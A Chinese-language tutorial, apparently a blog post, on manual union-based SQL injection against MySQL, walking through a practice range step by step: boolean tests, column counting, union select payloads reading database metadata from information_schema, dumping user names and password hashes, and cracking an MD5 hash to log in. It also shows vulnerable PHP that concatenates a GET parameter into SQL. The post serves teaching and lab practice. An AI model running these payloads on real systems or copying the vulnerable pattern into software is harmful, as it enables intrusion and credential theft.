01_SQL注入_Mysql注入:利用联合查询的手工注入

1.SQL注入的成因

【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!

遵纪守法,做合格网民!!!!

开发过程中,一些开发者会直接将URL的参数,POST方法的参数等一些列外来输入的参数拼接到SQL语句中。上述做法会造成SQL语句的可控,从而使得测试者能够通过执行SQL语句,实现一些自定义操作。

$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

例如上述代码中:SQL语句部分的$id变量就会将代码第一行GET到的参数直接和SQL语句拼接。

2.Mysql注入的思路

注入点的判断:

1.利用人为的SQL语句逻辑错误判断是否能够对数据库进行操作;

首先明确,常见的查询逻辑 与 或 非,这里只介绍常用的and和or。
我们知道如下表达式
真 and 真 = 真
真 and 假 = 假
真 or 假 = 真
那么,一种判断是否存在SQL注入的手动测试方法就是:利用上述逻辑进行测试,如果人为注入的逻辑正确,页面会正常显示;逻辑错误,页面会出现异常(注意:不是报错)。也就是说出现下面情况可以判断SQL我们是能够进行人为的SQL注入测试的。

原本语句 SELECT * FROM users WHERE id =1 LIMIT 0,1 查询正常

在id=1后拼接 and 1=1的真逻辑:SELECT * FROM users WHERE id =1 and 1=1 LIMIT 0,1 页面正常

在id=1后拼接 and 1=-1的假逻辑:SELECT * FROM users WHERE id =1 and 1=-1 LIMIT 0,1 页面错误

当然也可以采用一种比较直接的方式判断:直接通过错误查询看页面是否出现异常,如果异常,就表明我们拼接的语句是能够操作数据库的,如下所示:

原本语句 SELECT * FROM users WHERE id =1 LIMIT 0,1 查询正常

修改id参数(反正没人认识我,随便改了):SELECT * FROM users WHERE id =wo_shi_sha_bi LIMIT 0,1 页面错误

信息收集:

操作系统:有些操作系统是区分大小写的,为了保证SQL注入的成功,区分大小写很必要

数据库名:定位到目标数据库

数据库用户:对于不同权限的用户有不同的思路

数据库版本:低版本和高版本有不同的做法

网站路径:涉及到文件读写问题

数据注入

Mysql 5.0以前的版本采用暴力查询的方案

Mysql 5.0以后的版本利用information_schema库查询

高级权限注入

一种思路是回归到一般的数据注入

当然也可以利用注入进行跨库的查询或进行文件读写操作

3.实战:利用联合查询的手工注入

CTF竞赛中此类题型往往会将数据回显到页面中:本部分采用墨者学院在线靶场进行演示记录

地址:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

连接靶场:观察,并未发现存在URL中存在拼接的可能性

尝试点击页面元素:

成功跳转到URL可操作的页面

尝试通过URL拼接进行SQL注入的测试

STEP1:注入点的判断

1.是否存在SQL注入的可能性

浏览器中输入http://124.70.64.48:41606/new_list.php?id=1 and 1=1 得到正常回显

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 页面出错

自此我们判断该站点可以进行SQL注入测试

2.猜测列数

语句拼接 order by x;直到页面异常

这一步的意义是为了后续操作中参数回显做准备,在不知道交互怎么写的情况下,只有尝试,因为我们不知道回显的是表中的哪些列

回归本靶场的测试:一直拼接到order by 4都是正常显示,到order by 5 时,页面出现异常

http://124.70.64.48:41606/new_list.php?id=1order by 5

由此我们判断,参与本页回显的有四列

3.利用人为的逻辑错误 和 联合查询判断参与页面显示的是哪些列

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,2,3,4

由此,后续我们只需要一步一步对union中的2,3字段不断替换,重复操作,让我们想要的信息回显即可

Step2:信息收集

数据库版本:version()

数据库名称:database( )

数据库用户:user( )

操作系统:@@version_compile_os

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,database(),version(),4

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,user(),@@version_compile_os,4


至此,我们收集到了需要的信息,根据数据库的版本在5.0以上,我们可以判断存在information_schema库供我们使用:

数据库版本: 5.7.22-0ubuntu0.16.04.1

数据库名称: mozhe_Discuz_StormGroup

数据库用户: root@localhost

操作系统: Linux

Step3:数据注入—Mysql高版本的思路

information_schema 存储有所有数据库名、表名、列名,可以通过查询这个数据库获得想要的信息

数据库中’’."代表下一级a.b代表a数据库中的b表

information_schema.tables:表

information_schema.columns:列

table_name:表名

column_name:列名

table_schema:数据库名

1.查询表:通过上一步我们已经查到了数据库mozhe_Discuz_StormGroup为本网站使用的数据库,因此通过语法查询该库中有哪些表:

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

得到回显: StormGroup_member,notice

根据表的名称推测:我们需要用到的是StormGroup_member这张表

2.查询列

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'


得到回显

3.查询具体信息,我们想要获得的是用户名和密码因此可以查询

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

我们查到两个用户名和口令的密文形式,两个用户名一致因此需要查看一下账号的状态,确保我们要登录的账号是可用的(其实这一步已经可以尝试了,但是考虑到现实中MD5的彩虹表攻击没那么简单所以进行了这一步)

http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(name),group_concat(status),4 from StormGroup_member

回显得后者为真值,因此记录下:
用户名:mozhe
密码: 6c761925e2ba5bc5a4fa9b548f66a340

Step4:尝试解密:

工具:https://www.sojson.com/encrypt_md5.html

采用工具得:817469
尝试登陆:


拿下!!!回家吃西瓜!!!

【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!

01_SQL注入_Mysql注入利用联合查询的手工注入相关推荐

  1. SOL注入——基干联合查询的POST注入(四)

    本章目的 普及POST注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 (2) ...

  2. 【SQL注入-03】union联合查询注入案例

    目录 1 union联合查询注入概述 1.1 简介 1.2 适用条件 1.3 注入步骤 1.4 注入技巧 2 union联合查询注入案例 2.1 操作环境 2.2 操作具体步骤 2.2.1 判断是否存 ...

  3. SQL注入——基于联合查询的POST注入

    实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...

  4. SQL注入--基于联合查询的POST注入

    实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...

  5. mysql 事务关联_MySQL 关联、联合查询,事务ACID见解

    MySQL 关联.联合查询,事务ACID见解 1.关联查询分为几种情况: 1.1.内连接: 1.1.1.INNER JOIN INNER JOIN 产生的结果是两个表的交集 1.1.2.CROSS J ...

  6. mysql多表查询分页面_mysql多表联合查询分点经验给大家

    你的位置: 问答吧 -> MySQL -> 问题详情 mysql多表联合查询分点经验给大家 我在工作中天天研究zen cart的程序,那个叫人痛苦,最近比较痛苦的是经常碰见mysql多表联 ...

  7. mysql联合查询查询语句_mysql多表联合查询语句是什么

    mysql多表联合查询语句是:使用select语句,union关键词,语法为[select 语句1 union [union 选项] select 语句2 union [union 选项] selec ...

  8. mysql 多表联查的效率_Mysql 多表联合查询效率分析

    1 多表连接类型 1. 笛卡尔积(交叉连接) 在MySQL中可以为CROSS JOIN或者省略CROSS即JOIN,或者使用',' 如: SELECT * FROM table1 CROSS JOIN ...

  9. mysql 多表查询 优化_Mysql 多表联合查询效率分析及优化

    1. 多表连接类型 1. 笛卡尔积(交叉连接)在MySQL中可以为CROSS JOIN或者省略CROSS即JOIN,或者使用','  如: SELECT * FROM table1 CROSS JOI ...

最新文章

  1. 用Python实现OpenCV特征提取与图像检索 | Demo
  2. 使用二维高斯函数模糊图片
  3. HDU 4857 Couple doubi(找循环节)
  4. 如何在C#中用单个空格替换多个空格?
  5. 真正能解决 Windows 7下安装Office 2007—2010出现1402和1406类错误的方法
  6. python的span方法_Python Span.set_extension方法代码示例
  7. [js高手之路]构造函数的基本特性与优缺点
  8. python学习笔记 程序执行过程 基本数据类型
  9. 一个初一蒟蒻的NOIP2020游记
  10. 微信公众号文章采集工具,可采集文章文字内容信息及图片
  11. 邦邦两拳‾͟͟͞(((ꎤˋ⁻̫ˊ)—̳͟͞͞o
  12. 「中国好SaaS」重装升级,真正以用户视角,发现SaaS好项目
  13. Evaluation of a 25-511keV List Mode Readout System for a Large Field-of-View Gamma Camera
  14. oh my zsh 的alias文件
  15. 从零搭建游戏服务器,编译过程和环境部署教程详解
  16. 开源免费,最好用的3大系统9大防火墙软件安利给你们
  17. 0.96寸OLED显示屏驱动手册(SSD1306)
  18. VQA数据集调研报告
  19. PMI-ACP练习题(17)
  20. 卡片IOT板开发计划

热门文章

  1. 音频剪切拼接软件哪个好?给你分享四款音频剪切拼接软件
  2. java如何让线程休眠一分钟_如何使线程在java中休眠特定的时间?
  3. 北邮毕业计算机年薪多少,“两电一邮”到底有多牛? 这4大专业: 一毕业年薪几十万!...
  4. zephyr笔记 5.3.1 Zephyr 版本 MCUboot 的编译和使用
  5. yum update 命令详解
  6. 录像机查看回放时音频功能如何开启?
  7. 中科院副院长谭铁牛:通用模式识别仍存三大瓶颈
  8. 记录一次jbd2不停写磁盘原因追查
  9. mysql日期格式化季度_Mysql 查询某年,某季度,某月,某天搜索方法总结
  10. 一篇文章认识4种Java多线程的创建方式